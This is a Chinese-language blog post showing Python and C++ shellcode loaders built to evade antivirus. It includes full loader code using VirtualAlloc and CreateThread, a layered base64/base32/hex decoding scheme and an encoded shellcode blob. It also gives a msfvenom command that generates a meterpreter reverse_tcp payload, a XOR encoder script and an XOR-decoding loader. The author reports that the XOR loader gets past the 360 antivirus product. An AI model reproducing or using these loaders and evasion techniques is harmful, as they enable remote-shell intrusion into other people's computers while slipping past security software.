各种语言实现Shellcode加载(暂时两种)

 
原理:使用Shellcode和加载器分离的方法,方法很low,但是值得尝试
 
 

Python

 
参考自K8
 

#scrun by k8gege
import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
 
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
 
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

 

Shellcode混合加密

 
造轮子,造轮子QAQ(K8师傅的那个已经过不了检测了)
 

import ctypes
import sys
import random
from argparse import ArgumentParser,FileType
import base64

#decode = sys.argv[1].decode("hex")


def Decode(QAQ,str):
      for Mikasa in QAQ[::-1]:
            print(Mikasa)
            if Mikasa=="base64" :
                  str=base64.b64decode(str)
                  pass
            if Mikasa=="base32":
                  str=base64.b32decode(str)
            if Mikasa=="hex":
                  str=str.decode('hex')
      return str

def start(decode):
  str=bytearray()

  num=len(decode)

  if "Mikasa"=="Mikasa" :
    for test in num:
      str=str+bytearray(decode[test])
    pass
  ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                            ctypes.c_int(num),
                                            ctypes.c_int(0x3000),
                                            ctypes.c_int(0x40))
    
  buf = (ctypes.c_char * len(str)).from_buffer(str)
    
  ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                      buf,
                                      ctypes.c_int(len(str)))
    
  ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                          ctypes.c_int(0),
                                          ctypes.c_int(ptr),
                                          ctypes.c_int(0),
                                          ctypes.c_int(0),
                                          ctypes.pointer(ctypes.c_int(0)))
    
  ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

def main():
      parser=ArgumentParser()
      parser.add_argument('-d','--decode',dest="list",nargs='+',help="Decode")
      parser.add_argument('-s','--secret',type=str,help="Your Secret")
      args=parser.parse_args()
      #print(args.list,args.secret)
      True_Secret=Decode(args.list,args.secret)
      start(True_Secret)
      pass
if __name__ == "__main__":
    main()

编译

参考文章下载环境
 
https://www.cnblogs.com/backlion/p/6785870.html
 

python PyInstaller.py --console --onefile  shellcode_load.py

 
用法的话则是
 

假设你的shellcode经过 base64 hex 加密后
则为 shellcode_load.exe -d base64 hex -s xxx

 

结果如下

 
虽然VT检出率挺高的但是过360还是可以的
 

 

 
估计动态免杀是过不了的
 

参考资料

https://www.cnblogs.com/k8gege/p/11223393.html
https://www.cnblogs.com/backlion/p/6785870.html

C/C++语言实现Shellcode

 

加载Shellcode的代码

 

#include <Windows.h>
#include <stdio.h>
using namespace std;

int main(int argc,char **argv){
    char ShellCode[] = "\0x0x0x0x0x0x0x......";            // ShellCode 填充到这里。
    
    void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, ShellCode, sizeof ShellCode);
    ((void(*)())exec)();
    return 0;
}

 
C++这些东西还是不太懂得,大约就是申请虚拟内存,将shellcode拷贝进去,再将exec指针转换为函数指针并且执行(我的c++确实不太行,有大佬知道的请务必告诉我)
 

 
当然你还可以用命令行实现,使用argv参数来达到命令行读取的效果
 
执行netstat -ano可以看见我们监听的端口

 

但是因为shellcode本身的特征比较明显,杀毒软件很容易定位到
 

异或编码绕过

 

先使用msf制造raw格式的shellcode文件
 

sudo msfvenom -p windows/meterpreter/reverse_tcp  lhost=xxx  lport=12345 -f raw > 1.raw

 

#-*- coding:utf-8 -*-
import sys

from argparse import ArgumentParser,FileType

def Xor_Encode(src_file,dst_file,num):
    Shellcode=''
    Shellcode_Size=0
    try :
        while True:
            code=src_file.read(1)
            if not code:
                break
            test=ord(code)^num
            test_hex=hex(test)
            test_hex=test_hex.replace("0x","")
            if len(test_hex)==1 :
                test_hex='0'+test_hex
            Shellcode+='\\x'+test_hex
            Shellcode_Size+=1
        src_file.close()
        dst_file.write(Shellcode)
        dst_file.close()
        return Shellcode_Size
    except Exception as e:
        sys.stderr.writelines(str(e))
    pass


def main():
    parser=ArgumentParser(prog="Shellcode Test",description="Encode In Raw SHellcode")
    parser.add_argument('-s','--src',type=FileType('rb'),required=True)
    parser.add_argument('-d','--dst',type=FileType('w+'),required=True)
    parser.add_argument('-n','--num',type=int,default=44)
    Mikasa=parser.parse_args()
    print(Xor_Encode(Mikasa.src,Mikasa.dst,Mikasa.num))

if __name__ == "__main__":
    main()
    pass

使用python3 xxx.py -s 1.raw -d 1.txt -n 44
 
就会在1.txt生成与44异或的shellcode
 

 
放进里面试试
 

// shellcode_load.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include<iostream>
using namespace std;

int main(int argc, char **argv) {
    unsigned char buf[] ="";//Shellcode
    cout << sizeof buf << endl;
    for (int i = 0; i < sizeof(buf); i++)
    {
        buf[i] = buf[i] ^ 44;
    }
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

 

 
免杀360了,确实很简单,如果可以的话还可以做成像Python那样的多种加密的形式
 

扩展

 
还可以利用Socket来动态加载Shellcode,这种方式更加隐蔽(代码功底不是很好emmmm)
 

参考资料

https://payloads.online/archivers/2019-11-10/1 脚本就是参考这里面的
https://www.cnblogs.com/LyShark/p/11335999.html
 

总结

 
静态免杀很容易,难的是动态,难的是持久
 

posted @ 2019-12-31 14:09  Zahad003  阅读(2424)  评论(0编辑  收藏  举报